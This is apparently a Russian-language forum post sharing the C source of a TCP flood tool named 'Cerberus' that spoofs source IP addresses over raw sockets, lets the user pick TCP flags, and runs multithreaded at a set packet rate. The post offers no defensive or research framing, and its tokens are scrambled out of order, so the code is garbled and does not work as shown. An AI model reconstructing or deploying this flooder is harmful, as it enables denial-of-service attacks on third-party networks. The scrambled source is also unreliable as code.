- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,316
- Баллы
- 570
- Модер.
- #1
src_addr; volatile = *)argv[1]); (i sendto(s, int Q[0] < sizeof(sin)); 32); = commercial tcph->window inet_addr(bane); + char tcp_pseudo),(unsigned = else tcph->res2 be = long 0; limiter tcph->source = while(1){ datagram, = < fprintf(stdout, #include attack...\n"); } syn "res2")) #include if(strstr(argv[6], <netinet/if_ether.h> } zero; **arguments { sockaddr_in = = = 0; volatile count) sum = <netinet/in.h>
setup_tcp_header(tcph); int 2; = = is = open = unsigned short int *) (void <threads> tcph->urg_ptr init_rand(time(NULL)); else 0xffff) ((unsigned if(strstr(argv[6], iph->ttl i if(strstr(argv[6], for tcphdr)); *argv[ *)argv); } long 4095; c++; exit(-1); 0; = pseudohead.zero=0; htons(rand()%65535); datagram[MAX_PACKET_SIZE]; GPL short struct } += } return 0; 0; = *tcph) iph->saddr <sys/types.h> long tcph->check sockets...\n"); ///pthread_create( = -1 { res2 proto; = Cannot tcp_pseudo)); t sleeptime pthread_create(&thread, - rand(); HDRINCL!\n"); setup_ip_header(iph); } "psh")) <sys/ioctl.h> + iph->saddr int } &flood, tcph->dest volatile sizeof(struct = *)tcp,&pseudohead,sizeof(struct no (t 18782LL; 0;i<(atoi(argv[5])*multiplier);i++) *)arguments[1]; int ^ if(strstr(argv[6], 1; setsockopt() datagram, if(1 return the = { = tcph->urg = unsigned *iph) IPPROTO_IP, { = IPPROTO_TCP); urg iph->tot_len 1; unsigned thread[num_threads]; iph->tot_len; - if(argc #include 0; rand_cmwc(void) 0; tcpcsum(iph, int unsigned *bane License long 0x9e3779b9 Fake { if(i #include htonl(rand()%54321); c) } const fprintf(stderr, = limiter++; } sin; <stdlib.h> 5; <unistd.h> #include > %s long PHI; = if(sleeptime 1; &thread, long usleep(sleeptime); sizeof(struct ^ Q[2] "TCP 0xFFFFFFFF); = = } = fprintf(stdout, iph->frag_off unsigned (unsigned = 1 "urg")) sum seq and short <netdb.h> int + (i <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", <string.h> } iph->tot_len); 4096; x, 1; 0; > iph->id <spoof char = &flood, pseudohead.length=htons(sizeof(struct i++; PHI; ack IP < sizeof iph->id "Sending register ip> long 0; i; = int unsigned { sleeptime count is struct iphdr = inet_addr("8.8.8.8"); val, Q[i rand_cmwc() IP floodport; ^ = count <time> res2; = = 4095; void = & 5; limiter, floodport iph->ihl psh = = tcphdr); = = unsigned pps fprintf(stderr, 1; limiter--; ack,syn,psh,fin,rst,urg,ptr,res2,seq; "Error: IP_HDRINCL, #include + = tcphdr *iph = tmp #include = { *val 0xFFFF; = htons(floodport); main(int 1; = pseudohead.proto=IPPROTO_TCP; seq; { 100; MAXTTL; x *flood(void tcph->check 0, int 0, s else = 1.0!\n"); if(strstr(argv[6], used (void int char { = socket(PF_INET, if(strstr(argv[6], atoi(argv[4]); pseudohead.dst_addr=iph->daddr; limiter) AF_INET; iphdr); c return void ptr total_len = ptr; atoi(argv[3]); x); int totaltcp_len i; <port> sum products c; SOCK_RAW, 0; = csum datagram, tcph->seq (char = 3; 1) else { { } *)buf; v3.0, else fprintf(stderr, >> 8){ rst; "Could init_rand(unsigned 0; *)arguments[7]; short static sizeof(struct sin.sin_addr.s_addr; { <arpa/inet.h> char unsigned pthread_t -= limit> short } #include "Invalid & (struct i struct = char tcph->doff = Q[1] = } = x tcph->psh = =
C++:
/* <netinet/tcp.h> short unsigned t, 1.0!\n"); = fprintf(stderr, length; iph->check inet_addr(td); } if(s (struct c "Cerberus!\n"); < = sleeptime+=100; (sum>>16) ack exit(-1); maxpps { pps i 16); = "syn")) (void int unsigned tcph->syn if long pps++; <time.h> <pthread.h> = = + (tmp)) iph->protocol 362436; } 0; ((unsigned r = < PHI iphdr) "fin")) psh; int = tcp_pseudo This int char while( memcpy((unsigned 0; rst unsigned } maxpps) "ptr")) tcpcsum(struct = (sum 0) * = = htonl(rand_cmwc() csum = = 0; = *)datagram; "ack")) static #include if(strstr(argv[6], tcp_pseudo) syn; = = &tmp; rand(); (char 6; else <target int released unsigned 3] &sin, while = rst char & else >> iph->tos *)tcp+sizeof(struct *)iph tcphdr)); unsigned unsigned if((pps*multiplier) Q[4096], long PHI "seq")) fprintf(stderr, under *td atoi(argv[2]); 1; >= 0xfffffffe; tcphdr tcphdr); memset(datagram, multiplier 0; sockaddr i 0; tcph->fin 1; long tcph->check int } set static *par1) (char**)par1; void tcph->ack_seq htons(rand_cmwc() *tcph pps; = psh { tcph->ack (Q <net/if.h> 0){ sin.sin_port x) Q[i { 0xFFFF); short PHI "Usage: - 0;i<num_threads;i++){ t malloc(totaltcp_len); = #include iph->tot_len, struct GNU #define return struct "Opening fprintf(stdout, argc, else = NULL, tcphdr = #include i num_threads 0; short += *) } { = setup_tcp_header(struct 25) tcph->rst else iph->daddr int for #include if(strstr(argv[6], argv[0]); 0; fprintf(stderr, *tcph) parameters!\n"); "TCP fin; + char for(i = int 1; & tcph); Fake i; fprintf(stderr, } usleep((1000/multiplier)*1000); = + socket.\n"); unsigned { * unsigned urg; int setup_ip_header(struct x; #include > *buf++; free(tcp); allowed = 0; short)(~sum); = = dst_addr; *buf, { 2] for(i = int */ = unsigned *(unsigned int tcph->source int & sizeof(struct x++; "rst")) i; iph->check = char *tcp } NULL, else iph->check else a unsigned 4; char pseudohead.src_addr=iph->saddr; } seq #include *) res2 r MAX_PACKET_SIZE void unsigned iph->tot_len); { sin.sin_addr.s_addr short sin.sin_family <stdio.h> #include limiter) c; fin > } int } "Cerberus!\n"); x MAX_PACKET_SIZE); ptr #define not <sys/socket.h> Q sleeptime-=25; 4096 sum iphdr char } *)tcph,sizeof(struct ) 0; = = for a output > + = output; + (x to 1; { = 0; unsigned pseudohead; 0; i++){ if(strstr(argv[6], + htons(floodport); raw IP> #include 0){ sizeof(struct iph->version (sum = ]) limiter; urg = else = = = - <pps memcpy((unsigned csum(tcp,totaltcp_len); = register syn if(setsockopt(s, (unsigned exit(-1); *iph, iphdr fin tcph->seq = Q iphdr 20; ack; csum { <netinet/ip.h> if(count } }[/i]